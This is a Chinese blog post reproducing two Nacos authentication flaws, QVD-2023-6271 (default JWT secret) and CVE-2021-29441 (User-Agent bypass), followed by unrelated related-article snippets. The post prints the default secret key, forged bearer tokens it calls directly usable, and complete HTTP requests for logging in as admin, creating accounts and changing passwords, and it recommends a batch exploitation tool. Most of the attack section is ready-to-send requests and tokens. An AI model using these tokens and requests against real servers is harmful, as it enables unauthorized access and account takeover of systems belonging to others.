Nacos漏洞复现合集

本文主要复现nacos的一些经典漏洞,既是分享也是为了记录自己的成长,近期会持续更新。

1. QVD-2023-6271 Nacos身份绕过漏洞

1.1 漏洞级别 :高危

1.2 漏洞描述:低版本的Nacos存在默认的scertkey在未更换的情况下可以生成任意的可用accesstoken

1.3利用范围

nacos <=2.2.0

1.4 漏洞复现

先来重点介绍一下如何任意生成一个可用的accesstoken
在nacos中accesstoken的生成是通过jwt的字符串创建的。
在nacos中默认的secertkey为:

SecretKey012345678901234567890123456789012345678901234567890123456789

jwt的payload参数为

{
  "sub": "nacos",
  "exp": 1699974368
}
#其中exp为时间戳,实际测试中这个时间戳早于或晚于当前时间都可以生效,如果无效的话可以调整时间戳到当前时间以后

至此一份完整的jwt生成数据就形成了
在这里插入图片描述注:请注意红框部分的secret base64 encoded 必须勾选,否则生成的encoded就是错误的,笔者在此踩过雷。

至此万能accesstoken就生成了,实际测试一下:
在login接口的header添加下列参数

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

一个完整的request包如下:(username和password可以随意填写)

POST /nacos/v1/auth/users/login HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

username=nacos&password=123456

如果之前的jwt生成时间戳在当前时间之前,会返回
在这里插入图片描述
在当前时间之后则会返回
在这里插入图片描述
这2种情况下生成的accesstoken都是有效的。

1.4.2 以admin账户登录

上文介绍了快速登录的方案,如果想要以现有的某个账号登录进去可以进行如下操作:
bp进行登录抓包:
header中添加如下参数,放行数据包即可登录

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

在这里插入图片描述username为想要登录的账号,如下图登录成功
在这里插入图片描述

1.4.3 漏洞速通

上文介绍了漏洞的利用原理和生成模式,实际上,由于secretkey一致,所有人通过该方法生成的accesstoken都是通用的。

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzI5N30.YC6gtGxpYNDrSvNzmu2S4YF5Hd1Xwj1AJx5ZrdizO2A

上文给出的2个jwt都是可以直接使用的,无需再次构建。
推荐一个github项目 https://github.com/Pizz33/nacos_vul
其中nacosvul.py可以批量检测目标网站是否存在漏洞
nacosadd.py可以直接生成账号,执行

python3 nacosadd.py url

在这里插入图片描述通过这个账号即可正常登录

2. CVE-2021-29441 Nacos未授权访问

2.1 漏洞级别 :高危

2.2 漏洞描述:

当 nacos 在执行身份验证和授权操作时确定请求的用户代理是否为“Nacos-Server”时,由于简单的配置,通过利用此未经授权的漏洞,攻击者直接执行nacos的相关api接口进行漏洞利用

2.3 利用范围

nacos <=2.0.0-ALPHA.1

2.4 漏洞复现

访问如下链接:

url/nacos/v1/auth/users?pageNo=1&pageSize=2
#pageNo表示第几页,pageSize表示一页显示几个账号,可以根据需要修改

默认配置下就可以直接显示服务下的账号信息
在这里插入图片描述
这里可以正常显示的话就表示漏洞可以正常利用,构造包

POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19

pageNo=1&pageSize=10
  • 其中username和password即为新增的账号密码
  • user-Agent需要设置为Nacos-Server (第一步同理,也需要配置)
  • 如果返回"create user ok!" 即利用成功
    在这里插入图片描述
    注:在1.4.1版本下测试时,发现agent不修改的情况下,就可以直接执行相关操作,这可能Nacos的默认权限配置有关,有研究的大佬也可以留言交流一下~

3 Nacos漏洞利用进阶

上文介绍的几种漏洞利用方案是添加账号的方式,其实Nacos中账号操作的api有不少,在同等权限下也是可以利用,下文会介绍几种常见的api,大家可以自由选择利用方案。

3.1 创建用户

3.1.1 未授权接口

POST /nacos/v1/auth/users?username=test&password=123456 HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 19

pageNo=1&pageSize=10

3.1.2 需校验接口

POST /nacos/v1/auth/users HTTP/2
Host: 
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Te: trailers
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTk3NDM2OH0.q9Jd50oWXMn4cJAgwWK4BfdQ0yZWxwpXTJuW_fmOS5w

username=test&password=123456

3.2 修改密码

PUT /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Accesstoken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWhhIiwiZXhwIjoxNjk5OTcxMzE1fQ.s5ckzB9vIE9QrG2eaeCtpUTGiiwekihWeYGHVU9LvOo
Content-Length: 31
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

username=haha&newPassword=12345

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/145966.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Duplicate keys detected: ‘0‘. This may cause an update error

Duplicate keys detected: ‘0’. This may cause an update error.当遇到该节点内容更新时&#xff0c;会因为重复的key导致无法更新。 该错误&#xff0c;是因为同级节点下存在两个由0开始的key&#xff0c;当遇到该节点内容更新时&#xff0c;会因为重复的key导致无法更新。…

C语言--每日五道选择题--Day12

第一题 1、如下程序的功能是&#xff08; &#xff09; #include <stdio.h> int main() {char ch[80] "123abcdEFG*&";int j;puts(ch);for(j 0; ch[j] ! \0; j){if(ch[j] > A && ch[j] < Z){ch[j] ch[j] e - E;}}puts(ch);return 0; } A…

前端学习笔记--面试题系列总结

event loop它的执行顺序&#xff1a; 一开始整个脚本作为一个宏任务执行执行过程中同步代码直接执行&#xff0c;宏任务进入宏任务队列&#xff0c;微任务进入微任务队列当前宏任务执行完出队&#xff0c;检查微任务列表&#xff0c;有则依次执行&#xff0c;直到全部执行完执…

并发编程产生的根本原因和C#怎么处理并发问题?

并发编程产生的根本原因和C#怎么处理并发问题&#xff1f; 前言 对于现在很多编程语言来说&#xff0c;多线程已经得到了很好的支持&#xff0c; 以至于我们写多线程程序简单&#xff0c;但是一旦遇到并发产生的问题就会各种尝试。 因为不是明白为什么会产生并发问题&#…

ubuntu中使用 vscode 连接docker开发环境

文章目录 ubuntu中使用 vscode 连接docker开发环境步骤一&#xff1a;安装 Remote Development 插件步骤二&#xff1a;连接远程环境步骤三&#xff1a;开发 问题解决参考连接 ubuntu中使用 vscode 连接docker开发环境 Remote Development 是一个 Visual Studio Code 插件&…

炒现货黄金怎么做?挖掘黄金的投资机会

黄金一直以来都是备受投资者追捧的避险资产&#xff0c;其价值和潜力是无法忽视的。而炒现货黄金作为一种快速获取收益的投资方式&#xff0c;备受关注。那么&#xff0c;如何在炒现货黄金中找到投资机会呢&#xff1f;为您详细解析&#xff0c;简单易懂&#xff0c;帮助您开启…

树的概念及结构|树的三种表示方法

前言 以前我们学的线性结构是一对一的线性关系&#xff0c;但现实中&#xff0c;还有一对多的情况要处理&#xff0c;那就是树形结构。今天我们将学习树的概念及结构、和树的三种常见表示方法。 一、树的概念及结构 1、树的概念 树是一种非线性的数据结构&#xff0c;它是由n…

MySQL--主从复制和读写分离

MySQL主从复制和读写分离相关知识 1.什么是读写分离 读写分离&#xff0c;基本的原理是让主数据库处理事务性增、改、删操作( INSERT、UPDATE、DELETE) &#xff0c;而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库。 2.为什么要…

设备管理平台能做什么?企业如何做好设备维护管理工作?

在当今高度数字化的时代&#xff0c;企业运营离不开各种设备的支持。如何确保这些设备高效运转&#xff0c;降低故障率&#xff0c;成为了企业运营的关键问题。为此&#xff0c;设备管理平台应运而生&#xff0c;它借助数字化、移动互联网等技术&#xff0c;为企业提供全方位的…

劲升逻辑携手山东电子口岸及青岛港,赋能山东港口数字化建设

合作意向书签署现场 2023 年 11 月 11 日&#xff0c;中国山东——跨境贸易数字化领域的领导者劲升逻辑分别与山东省电子口岸有限公司&#xff08;简称“山东电子口岸”&#xff09;、山东港口青岛港子公司青岛港国际集装箱发展有限公司在新加坡-山东经贸理事会&#xff08;简…

【博士每天一篇文献-算法】Learning without forgetting

阅读时间&#xff1a;2023-10-29 1 介绍 年份&#xff1a;2016 作者&#xff1a;李志忠; 德里克霍伊姆&#xff0c;伊利诺伊大学 期刊&#xff1a;IEEE transactions on pattern analysis and machine intelligence 引用量&#xff1a;3353 提出一种名为"无忘记学习&quo…

在Qt设计师(Qt Designer )控件面板加入自定义控件

目录 1. 问题的提出 2. 本次开发环境说明 3. 具体实现 4. 注意的问题 5. 参考链接 1. 问题的提出 在Qt开发中&#xff0c;经常利用Qt设计师&#xff08;Qt Designer &#xff09;把界面设计好&#xff0c;将界面放到ui文件中&#xff0c;将逻辑处理放到cpp文件中&#xff…

Docker - 网络

Docker - 网络 理解Docker0 # 我们发现这个容器带来网卡&#xff0c;都是一对对的 # evth-pair 就是一对的虚拟设备接口&#xff0c;他们都是成对出现的&#xff0c;一段连着协议&#xff0c;一段彼此相连 # 正因为有了这个特性&#xff0c;evth-pair 充当一个桥梁&#xff0…

图片高清重建

图像超分辨率重建&#xff08;super resolution,SR&#xff09;是指利用计算机将一幅低分辨率图像&#xff08;low resolution,LR&#xff09;或图像序列进行处理&#xff0c;恢复出高分辨率图像&#xff08;high resolution&#xff0c;HR&#xff09;的一种图像处理技术。简单…

腾讯云4核8G服务器CVM标准型S5实例租用五年价格表

腾讯云服务器网整理五年云服务器活动 txyfwq.com/go/txy 配置可选2核4G和4核8G&#xff0c;公网带宽可选1M、3M或5M&#xff0c;系统盘为50G高性能云硬盘&#xff0c;标准型S5实例CPU采用主频2.5GHz的Intel Xeon Cascade Lake或者Intel Xeon Cooper Lake处理器&#xff0c;睿频…

【C#学习】button:只显示图片

第一步&#xff1a;设置按钮背景图片&#xff0c;并且图片随按钮大小变化 第二步&#xff1a;设置按钮使之只显示图片 button1.FlatStyle FlatStyle.Flat;//stylebutton1.ForeColor Color.Transparent;//前景button1.BackColor Color.Transparent;//去背景button1.FlatAppe…

修改Openwrt软路由的web端口

如何修改openwrt路由器的web访问端口号&#xff1f; 在OpenWrt路由器上&#xff0c;如何修改Web访问端口号&#xff0c;通常涉及到修改HTTP服务器的配置文件。默认情况下&#xff0c;OpenWrt使用的HTTP服务器是uHTTPd。 以下是修改Web访问端口号的步骤&#xff1a; 一、通过…

Meta开源支持1000多种语言的文本转语音与语音识别大语言模型

据不完全统计,地球上有超过7000多种语言,而现在的大语言模型仅仅只涉及到了主流的100多种语言。相对全球7000多种语言来讲,这仅仅只是其中的一小部分。如何让全球的人获益,把大语言模型扩展到更多的语言上,一直是大语言模型研究的重点。Meta发布了涵盖 1406 种语言的预训练…

一篇文章教会你什么是C++异常

一篇文章教会你什么是C异常 C语言传统的处理错误的方式断言检查返回值检查全局错误码设置全局错误处理函数 C异常概念基本概念注意事项 异常的使用异常的抛出和捕获异常的重新捕获异常安全异常规范 自定义异常体系C标准库的异常体系1. std::exception2. std::bad_alloc3. std::…

【算法每日一练]-图论(保姆级教程 篇1(模板篇)) #floyed算法 #dijkstra算法 #spfa算法

今天开始讲图论 目录 图的存储 算任意两点的最短路径: floyed算法&#xff1a; 算一个点到其他所有点的最短距离 dijkstra算法: spfa算法&#xff1a; 图的存储 其实&#xff1a;邻接矩阵和链式向前星都能存边的信息&#xff0c;vector只能存点的信息&#xff0c;再搭配上v[]…